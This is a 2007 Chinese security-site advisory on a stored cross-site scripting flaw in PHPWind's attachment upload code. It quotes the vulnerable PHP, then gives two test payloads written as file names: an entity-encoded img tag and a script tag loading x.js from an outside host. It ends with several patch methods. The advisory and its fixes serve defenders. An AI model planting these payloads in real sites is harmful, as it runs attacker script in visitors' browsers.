黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[注意]PHPWind-附件文件名跨站脚本漏洞
      ★★★★★

PHPWind-附件文件名跨站脚本漏洞

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-6-26 10:06:31

漏洞产生:
require\postupload.php文件对atc_attachment_name变量过滤不严,导致跨站脚本执行漏洞,可能引起站点被嵌入恶意代码。
记忆碎片最早提供了一个测试效果:

漏洞代码分析:
以下是require\postupload.php文件引起问题的源代码:

以下是引用片段:
   $source = $db_ifftp ? $db_ftpweb."/".$fileuplodeurl : $attachdir.'/'.$fileuplodeurl;
    //版块id_文件名_时间.类型
    if($db_ifftp){
      $ftpsize=$ftp->upload($atc_attachment,$fileuplodeurl);
    } elseif(!postupload($atc_attachment,$source)){
      Showmsg('upload_error');
    }
    if(eregi("\.(gif|jpg|png|bmp|swf)$",$atc_attachment_name) && function_exists('getimagesize')){//这里只过滤了扩展名
      if(!$img_size=getimagesize($source)){
        $db_ifftp ? $ftp->delete($fileuplodeurl) : P_unlink($source);
        Showmsg('upload_content_error');
      }
      if(!$db_ifftp && $attach_ext!='swf' && $db_watermark && $img_size[0]>$db_waterwidth && $img_size[1]>$db_waterheight){
        if (function_exists('imagecreatefromgif') && function_exists('imagealphablending') && ($attach_ext!='gif' || function_exists('imagegif') && ($db_ifgif==2 || $db_ifgif==1 && in_array(PHP_VERSION,array('4.4.3','4.4.4','5.1.5')))) && ($db_waterimg && function_exists('imagecopymerge') || !$db_waterimg && function_exists('imagettfbbox'))){
          require_once(R_P.'require/watermark.php');
          ImgWaterMark($source,$db_waterpos,$db_waterimg,$db_watertext,$db_waterfont,$db_watercolor,$db_waterpct,$db_jpgquality);
        }
      }
    }
    if(eregi("\.(gif|jpg|jpeg|png|bmp|swf)$",$atc_attachment_name)){//这里只过滤了扩展名
      $ifupload=1;
      if(eregi("\.swf$",$atc_attachment_name)){//这里只过滤了扩展名
        $type='zip';
      }else{
        $type='img';
      }
    } elseif(eregi("\.(zip|rar)$",$atc_attachment_name)){//这里只过滤了扩展名
      $ifupload=3;
      $type='zip';
    } elseif(eregi("\.txt$",$atc_attachment_name)){//这里只过滤了扩展名
      $safecheckdb = $db_ifftp ? (function_exists('file_get_contents') ? file_get_contents($source) : '') : readover($source);
      if (strpos($safecheckdb,"onload")!==false && strpos($safecheckdb,"submit")!==false && strpos($safecheckdb,"post")!==false && strpos($safecheckdb,"form")!==false){
        $db_ifftp ? $ftp->delete($fileuplodeurl) : P_unlink($source);
        Showmsg('upload_content_error');
      } else{
        $ifupload=2;
        $type='txt';
      }
    } else{
      $ifupload=3;
      $type='zip';
    }
    $size = $db_ifftp ? ceil($ftpsize/1024) : ceil(filesize("$attachdir/$fileuplodeurl")/1024);
    $atc_attachment_name=addslashes($atc_attachment_name);
    if($ifreplace==0){//下面已经准备提交到数据库
      $db->update("insert INTO pw_attachs SET fid='$fid',uid='$winduid',hits=0,name='$atc_attachment_name',type='$type',size='$size',attachurl='$fileuplodeurl',needrvrc='$needrvrc',uploadtime='$timestamp',descrip='$descrip'");
      $aid = $db->insert_id();
      $attachs[$aid] = array(
        'aid' => $aid,
        'name' => stripslashes($atc_attachment_name),//取出转译斜线便于入库
        'type' => $type,
        'attachurl' => $fileuplodeurl,
        'needrvrc' => $needrvrc,
        'size' => $size,
        'hits' => 0,
        'desc'    => str_replace('\\','',$descrip)
      );
    } else {
      $aid=$replacedb[$i]['aid'];
      $db->update("update pw_attachs SET name='$atc_attachment_name',type='$type',size='$size',attachurl='$fileuplodeurl',needrvrc='$needrvrc',uploadtime='$timestamp',descrip='$descrip' where aid='$aid'");
      $oldattach[$aid]['name']=$atc_attachment_name;
      $oldattach[$aid]['type']=$type;
      $oldattach[$aid]['size']=$size;
    }
  }
 
可以看到postupload.php文件没有对atc_attachment_name这个变量提交的名字进行过滤。


漏洞测试:
测试方法一 下面是zhouzhen提供的测试代码:
以下是引用片段:
D:\zhouzhen<img src=&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#102;&#111;&#114;&#117;&#109;&#46;&#101;&#118;&#105;&#108;&#111;&#99;&#116;&#97;&#108;&#46;&#99;&#111;&#109;&#47;&#105;&#109;&#97;&#103;&#101;&#47;&#119;&#105;&#110;&#100;&#47;&#108;&#111;&#103;&#111;&#46;&#112;&#110;&#103;>XXS.rar


测试方法二 下面是ring04h提供的阴险测试代码加解释:
以下是引用片段:
D:\ring04h:<SCRIPT SRC=http://www.diaonilaomu.com/x.js>XSS.rar

因为不能出现//等字符,可以采用ASSIC编码,将可以嵌入恶意脚本。

临时修补:
修补方法一 正则表达式:
在源文件的代码151行后,也就是在MySQL的查询被执行之前,做一次最后的文件名过滤。

以下是引用片段:
if(isset($atc_attachment_name)){
      if(!eregi("^[_a-z0-9-]+\.(gif|jpg|jpeg|png|bmp|zip|rar|gz|tgz|7z)$",$atc_attachment_name)){//扩展名允许规则请根据自己站点的情况自行更改
        echo "Name Fail!";
        exit;
      }
      }

修补方法二 字符串替换:
临时解决跨站问题可以过滤掉尖括号符号,使脚本无法构成。
修改源文件的代码157行为如下代码:

以下是引用片段:
$atc_attachment_name = stripslashes(str_replace("<","",$atc_attachment_name));

修补方法三 登陆你的网站后台到相关官方页面下载补丁

文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886